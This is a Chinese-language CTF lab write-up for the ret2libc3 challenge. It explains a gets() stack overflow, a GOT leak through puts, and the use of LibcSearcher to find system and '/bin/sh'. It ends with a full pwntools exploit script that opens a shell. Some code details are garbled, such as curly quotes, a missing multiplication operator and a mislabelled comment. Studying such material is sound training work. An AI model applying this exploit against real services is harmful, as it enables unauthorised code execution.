首先我们看一下文件的属性 可以看见是32位动态链接的
checksec ret2libc3看看保护措施
放入ida中看一下
可以看见堆栈的溢出偏移和之前的一样还是112字节之前已经用两种方法解释过了
这里还是gets函数栈溢出
但是唯一不同的就是没有system函数和/bin/sh

这个时候我们就要通过别的函数第二次运行的时候(第一次是延迟绑定)让函数去泄露got表内容 从而暴露libc 的基地址,拿到libc地址之后就好办了 动态链接库 里面的函数函数都是一定的,
A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址!
这里选用puts函数实现2次调用,让他当这个泄露者,让他泄露泄露 __libc_start_main 地址也就是基地址,然后去拿到system函数的地址
这里就有问题了
虽说偏移固定 但是具体如何拿到system的地址呢??
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
- https://github.com/niklasb/libc-database
这样的方法显然有点复杂有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme
- https://github.com/lieanu/LibcSearcher
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址
<br />--------来自ctf-wiki
这里就开始写exp了
这里的exp我看了很多昂,,看来看去还是wiki的最精华
from pwn import *
from LibcSearcher import LibcSearcher
sh = process(‘./ret2libc3’)
ret2libc3 = ELF(‘./ret2libc3’) #ELF模块:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址
puts_plt = ret2libc3.plt[‘puts’]#plt地址
main= ret2libc3.symbols[‘main’] #main函数地址
libc_start_main_got = ret2libc3.got[‘__libc_start_main’]#got地址
print “泄露 libc_start_main_got 的地址并且再次返回到mian”
payload = flat([‘A’ 112, puts_plt, main, libc_start_main_got ])
sh.sendlineafter(‘Can you find it !?’, payload)
print “获取真实的地址”
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher(‘libc_start_main’, libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump(‘libc_start_main’)#获取基地址
system_addr = libcbase + libc.dump(‘system’)#获取main地址
binsh_addr = libcbase + libc.dump(‘str_bin_sh’)#获取binsh地址
print “get shell”
payload = flat([‘A’ 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()

